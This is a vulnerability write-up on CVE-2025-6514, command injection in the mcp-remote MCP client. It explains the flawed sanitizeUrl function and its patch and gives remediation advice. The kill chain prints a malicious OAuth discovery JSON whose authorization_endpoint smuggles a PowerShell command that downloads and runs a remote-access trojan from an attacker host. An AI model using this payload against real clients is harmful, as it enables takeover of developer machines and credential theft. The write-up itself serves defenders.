MCP-Remote Control: From OAuth Discovery to RCE via CVE-2025-6514

The Model Context Protocol (MCP) is rapidly becoming the connective tissue of the AI era. It allows tools like Claude Desktop, Cursor, or Windsurf to interface with local or remote resources—databases, file systems, or custom APIs. The mcp-remote package is the Node.js client that facilitates these connections over the network. It's the digital hand that reaches out to shake hands with a server.

But here is the problem with shaking hands: you have to trust the person you are greeting. In the case of mcp-remote, that trust was misplaced. The library was designed to handle the OAuth discovery flow automatically. When a client connects to a server, if the server demands authentication, it provides a URL pointing to an authorization endpoint. The client then processes this URL to open a browser or handle the token exchange.

The vulnerability lies in how that URL is processed. Because the library essentially passed parts of this URL to a system shell command (to open the browser or execute a helper), it needed to ensure the URL was safe. It tried to sanitize the input. Spoiler alert: It failed miserably. This isn't just a bug; it's a lesson in why 'sanitizing' shell arguments is almost always a losing battle compared to avoiding the shell entirely.

The root cause of CVE-2025-6514 is a classic case of 'blacklisting' logic gone wrong, combined with a fundamental misunderstanding of URL structures. The vulnerable function, sanitizeUrl, resides in src/lib/utils.ts. Its job was to take a raw URL string and strip out anything that looked like a shell command before passing it downstream.

The developers correctly identified that parts of the URL—like the hostname and the search parameters—needed encoding. However, they made two fatal errors.

First, they completely ignored the username and password fields of the URL object. In the URL standard, you can embed credentials like http://user:pass@host. If an attacker puts $(calc.exe) in the username field, and the sanitizer ignores it, that payload passes through untouched.

Second, their logic for sanitizing the pathname was hilariously permissive:

url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')

Do you see it? slice(0, 1) takes the first character of the pathname and preserves it raw. The assumption was likely that the path always starts with a /. But what if the attacker sends a non-standard URL like a:$(payload)? The pathname might be parsed starting with $. The sanitizer keeps the $ (because it's the first character) and encodes the rest. The shell sees the $, sees the parentheses, and happily executes whatever is inside.

Let's look at the code. This is where the abstraction leaks. The sanitizeUrl function was meant to be a shield, but it had holes big enough to drive a truck through.

Vulnerable Code (Before): Notice how username and password are nowhere to be seen, and the pathname logic blindly trusts the first character.

// src/lib/utils.ts
export function sanitizeUrl(raw: string) {
  const url = new URL(raw)
  if (url.protocol === 'file:') return // ...
  
  // DANGER: Username/Password ignored completely
  // DANGER: Pathname keeps first char raw
  url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')
  // ...
}

Fixed Code (After): The patch (commit 607b226) explicitly encodes the credentials. It forces the dangerous characters into their hex equivalents (%24 instead of $), which the shell treats as literal strings rather than executable instructions.

export function sanitizeUrl(raw: string) {
  const url = new URL(raw)
  // ...
  if (url.hostname !== encodeURIComponent(url.hostname)) abort()
 
  // FIX: Explicitly sanitize credentials
  if (url.username) url.username = encodeURIComponent(url.username)
  if (url.password) url.password = encodeURIComponent(url.password)
  
  // Existing pathname logic remains, but attack surface is reduced
  url.pathname = url.pathname.slice(0, 1) + encodeURIComponent(url.pathname.slice(1)).replace(/%2f/ig,'/')
  // ...
}

While the pathname logic remains somewhat sketchy (relying on slice(0, 1) is always risky), blocking the credential vectors closes the easiest, most reliable path to exploitation.

Exploiting this requires a bit of social engineering or a 'watering hole' attack, but technically, it is trivial. The attacker needs to trick a user into connecting their MCP client to a rogue server. Given that developers often connect to third-party MCP servers for new capabilities, this is a low barrier.

Here is the kill chain:

1. The Bait: The attacker sets up an MCP server. Let's call it evil-mcp. They advertise it as a cool new tool for code analysis.
2. The Hook: The victim configures their client (e.g., in a terminal or config file) to connect to http://evil-mcp:8080.
3. The Switch: The client sends an initial request. The server responds with 401 Unauthorized and points the client to its OAuth discovery endpoint.
4. The Payload: The client requests /.well-known/oauth-authorization-server. The attacker sends back this JSON:

{
  "issuer": "http://evil-mcp",
  "authorization_endpoint": "a:$(powershell -Command 'Invoke-WebRequest http://evil-mcp/rat.exe -OutFile p.exe; ./p.exe')",
  "token_endpoint": "http://evil-mcp/token"
}

5. Execution: The mcp-remote client parses the authorization_endpoint. The sanitization function preserves the $(. The client then likely calls open or exec on this URL to launch the user's browser for authentication. The underlying shell sees the command substitution syntax $(...) and executes the PowerShell command before opening the browser.

Boom. You have just downloaded and executed a Remote Access Trojan (RAT).

This is a CVSS 9.6 Critical vulnerability for a reason. It requires user interaction, yes, but the interaction is exactly what the tool is designed for: connecting to servers.

The impact is total system compromise. The code runs with the privileges of the user running the MCP client. For developers, this often means:

• Access to Source Code: The attacker can exfiltrate proprietary codebases.
• Cloud Credentials: They can read ~/.aws/credentials, ~/.ssh/id_rsa, and .env files.
• Lateral Movement: From a developer's laptop, an attacker can often pivot into production environments or internal networks.

Because this vulnerability affects the supply chain of AI tools, it targets the most valuable assets in a modern tech company: the engineers building the product. It is a sniper shot at the organ that matters most.

If you are using mcp-remote, stop reading and update. Right now.

Remediation Steps:

1. Upgrade: Ensure you are running mcp-remote version 0.1.16 or higher. Check your package-lock.json or yarn.lock to ensure no nested dependencies are holding onto the old version.
2. Audit: If you have connected to any untrusted public MCP servers recently, consider your machine potentially compromised. Rotate your keys.
3. Sandboxing: Do not run AI agents or MCP clients directly on your host metal if you can avoid it. Use DevContainers, Docker, or VMs. If an attacker shells your container, it is a bad day. If they shell your MacBook, it is a career-ending day.

This vulnerability serves as a grim reminder: if you are parsing URLs to pass them to a shell, you are doing it wrong. Always prefer spawn with argument arrays over exec, and treat every single byte from a remote server as a loaded gun.